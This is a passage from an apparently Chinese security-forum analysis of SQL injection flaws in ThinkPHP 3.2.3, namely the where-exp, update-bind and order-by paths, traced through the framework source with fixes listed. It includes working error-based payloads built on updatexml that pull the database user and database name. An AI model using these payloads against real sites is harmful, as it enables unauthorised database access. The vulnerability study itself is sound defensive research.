                         $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($val[1]);
                     }
                 } elseif ('bind' == $exp) {
                     // 使用表达式
                     $whereStr .= $key . ' = :' . $val[1];
                 } elseif ('exp' == $exp) {
                     // 使用表达式
                     $whereStr .= $key . ' ' . $val[1];
                 } elseif (preg_match('/^(notin|not in|in)$/', $exp)) {
                     // IN 运算
                     if (isset($val[2]) && 'exp' == $val[2]) {
                         $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $val[1];
                     } else {
                         if (is_string($val[1])) {
                             $val[1] = explode(',', $val[1]);
                         }
                         $zone = implode(',', $this->parseValue($val[1]));
                         $whereStr .= $key . ' ' . $this->exp[$exp] . ' (' . $zone . ')';
                     }
                 } elseif (preg_match('/^(notbetween|not between|between)$/', $exp)) {
                     // BETWEEN运算
                     $data = is_string($val[1]) ? explode(',', $val[1]) : $val[1];
                     $whereStr .= $key . ' ' . $this->exp[$exp] . ' ' . $this->parseValue($data[0]) . ' AND ' . $this->parseValue($data[1]);
                 } else {
                     E(L('_EXPRESS_ERROR_') . ':' . $val[0]);
                 }
             } else {
                 $count = count($val);
                 $rule  = isset($val[$count - 1]) ? (is_array($val[$count - 1]) ? strtoupper($val[$count - 1][0]) : strtoupper($val[$count - 1])) : '';
                 if (in_array($rule, array('AND', 'OR', 'XOR'))) {
                     $count = $count - 1;
                 } else {
                     $rule = 'AND';
                 }
                 for ($i = 0; $i < $count; $i++) {
                     $data = is_array($val[$i]) ? $val[$i][1] : $val[$i];
                     if ('exp' == strtolower($val[$i][0])) {
                         $whereStr .= $key . ' ' . $data . ' ' . $rule . ' ';
                     } else {
                         $whereStr .= $this->parseWhereItem($key, $val[$i]) . ' ' . $rule . ' ';
                     }
                 }
                 $whereStr = '( ' . substr($whereStr, 0, -4) . ' )';
             }
         } else {
             //对字符串类型字段采用模糊匹配
             $likeFields = $this->config['db_like_fields'];
             if ($likeFields && preg_match('/^(' . $likeFields . ')$/i', $key)) {
                 $whereStr .= $key . ' LIKE ' . $this->parseValue('%' . $val . '%');
             } else {
                 $whereStr .= $key . ' = ' . $this->parseValue($val);
             }
         }
         return $whereStr;
     }
    
  5. 最终与下列代码第 4 行 escapeString​ 转义 '​:

    protected function parseValue($value)
     {
         if (is_string($value)) {
             $value = strpos($value, ':') === 0 && in_array($value, array_keys($this->bind)) ? $this->escapeString($value) : '\'' . $this->escapeString($value) . '\'';
         } elseif (isset($value[0]) && is_string($value[0]) && strtolower($value[0]) == 'exp') {
             $value = $this->escapeString($value[1]);
         } elseif (is_array($value)) {
             $value = array_map(array($this, 'parseValue'), $value);
         } elseif (is_bool($value)) {
             $value = $value ? '1' : '0';
         } elseif (is_null($value)) {
             $value = 'null';
         }
         return $value;
     }
    

总结

传入 ?username=test2'​ -> where()​ -> array_merge()​ -> find()​ -> _parseOptions​ -> _parseType​->parseWhere​->parseWhereItem​->parseValue

然后将我们的字符串进行转义

(3). 尝试绕过

上一条说过 parseWhereItem​ 中 exp​ 和 bind​ 是没有进行过滤直接拼接的。

parseWhereItem​ 首先会判断我们的 val​ 是否是数组,如果数组的第一个元素是字符串的话就赋值给 exp​,如果 exp = 'exp'​ 的话,直接将我们的 key​ 和 $val[1]​ 进行了拼接 ,并且没有做任何过滤,即可绕过。

(4). 修复

利用 I​ 函数进行获取,I​ 函数会对数据都进行一遍过滤,前文出现过的 think_filter​ 即可过滤命令语句。

6.3 update bind 注入

(1). 漏洞代码

public function index()
{
    $User = M("Users");
    $user['id'] = I('id');
    $data['email'] = I('email');
    $valu = $User->where($user)->save($data);
    var_dump($valu);
}

(2). 流程梳理

前面基本流程与 where exp​ 类似,但是在 parseWhereItem ​进行拼接时,bind ​会引入 : ​符号,以参数绑定的形式去拼接数据。

根据官方文档的说明:

I​ 函数接受 id 的参数传入 where,然后将 $data 传入 save 函数

这里假设传入参数为:?id=3&email=test123

经过分析定位到 ThinkPHP/Library/Think/Db/Driver.class.php:980:update​ 方法:

public function update($data, $options)
{
    $this->model = $options['model'];
    $this->parseBind(!empty($options['bind']) ? $options['bind'] : array());
    $table = $this->parseTable($options['table']);
    $sql   = 'UPDATE ' . $table . $this->parseSet($data);
    if (strpos($table, ',')) {
// 多表更新支持JOIN操作
        $sql .= $this->parseJoin(!empty($options['join']) ? $options['join'] : '');
    }
    $sql .= $this->parseWhere(!empty($options['where']) ? $options['where'] : '');
    if (!strpos($table, ',')) {
        //  单表更新支持order和lmit
        $sql .= $this->parseOrder(!empty($options['order']) ? $options['order'] : '')
        . $this->parseLimit(!empty($options['limit']) ? $options['limit'] : '');
    }
    $sql .= $this->parseComment(!empty($options['comment']) ? $options['comment'] : '');
    return $this->execute($sql, !empty($options['fetch_sql']) ? true : false);
}

请求的参数在传入 parseSet ​后变成:UPDATEusersSETemail=:0

在进入 parseWhere ​后变成:UPDATEusersSETemail=:0 WHEREid= 3

跟进 execute ​函数:

public function execute($str, $fetchSql = false)
{
    $this->initConnect(true);
    if (!$this->_linkID) {
        return false;
    }

    $this->queryStr = $str;
    if (!empty($this->bind)) {
        $that           = $this;
        $this->queryStr = strtr($this->queryStr, array_map(function ($val) use ($that) {return '\'' . $that->escapeString($val) . '\'';}, $this->bind));
    }
    if ($fetchSql) {
        return $this->queryStr;
    }
......

经过上述第 11 行后变为:UPDATEusersSETemail='test123' WHEREid= 3​,参数进行了拼接。

(3). 尝试绕过

传入:?id[]=bind&id[]=1&email=test.com&username=test123

跟入流程:UPDATEusersSETemail=:0,username=:1 WHEREid= :1

发现在 parseWhereItem ​中将 id ​的位置替换为 :1​,猜测这里的表达式可以被 execute​ 中的 strtr ​替换。

实际继续流程发现确实进行了替换:UPDATEusersSETemail='test.com',username='test123' WHEREid= 'test123'

可以构造 Payload:?id[]=bind&id[]=1 and updatexml(1,concat(0x7e,user(),0x7e),1)&email=test.com&username=1

最后执行的查询语句为:UPDATEusersSETemail='test.com',username='0' WHEREid= '0' and updatexml(1,concat(0x7e,user(),0x7e),1)

或者 id[1]=0​,即可缩短 Payload:?id[]=bind&id[]=0 and updatexml(1,concat(0x7e,user(),0x7e),1)&email=1

(4). 修复

更新 ThinkPHP 3.2.5

I​ 方法中的黑名单添加 bind​:

6.4 order by 注入

(1). 漏洞代码

public function index()
{
    $User = M("Users");
    $order_by = I('Get.name');
    $q = $User->where('id=1')->order($order_by)->find();
    $this->getSql($User);
    var_dump($q);
}

Payload:

?name[username]=and(updatexml(1,concat(0x7e,(select%20database())),0))

?name[username and(updatexml(1,concat(0x7e,(select%20database())),0))]=

(2). 漏洞梳理

前面的处理流程与 where 相同,这里只需要注意:

protected function parseOrder($order)
{
    if (is_array($order)) {
        $array = array();
        foreach ($order as $key => $val) {
            if (is_numeric($key)) {
                $array[] = $this->parseKey($val);
            } else {
                $array[] = $this->parseKey($key) . ' ' . $val;
            }
        }
        $order = implode(',', $array);
    }
    return !empty($order) ? ' ORDER BY ' . $order : '';
}

在上面的第 9 行会对特殊字符进行简单的过滤:

protected function parseKey(&$key)
{
    $key = trim($key);
    if (!is_numeric($key) && !preg_match('/[,\'\"\*\(\)`.\s]/', $key)) {
        $key = '`' . $key . '`';
    }
    return $key;
}

(3). 尝试绕过

根据代码,只需要使 $order​ 为数组,代码就可以执行 $key . ' ' .$value​ 的查询语句。

(4). 修复

ThinkPHP 3.2.4 中对 parseOrder()​ 方法进行了较大的改动:

参考链接

ThinkPHP3.2.3 源码分析一之系统流程

ThinkPHP3.2.3 学习

thinkphp 3.2.3 exp 注入漏洞分析

Thinkphp-3.2.3-update 注入漏洞

点击收藏 | 2 关注 | 2 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖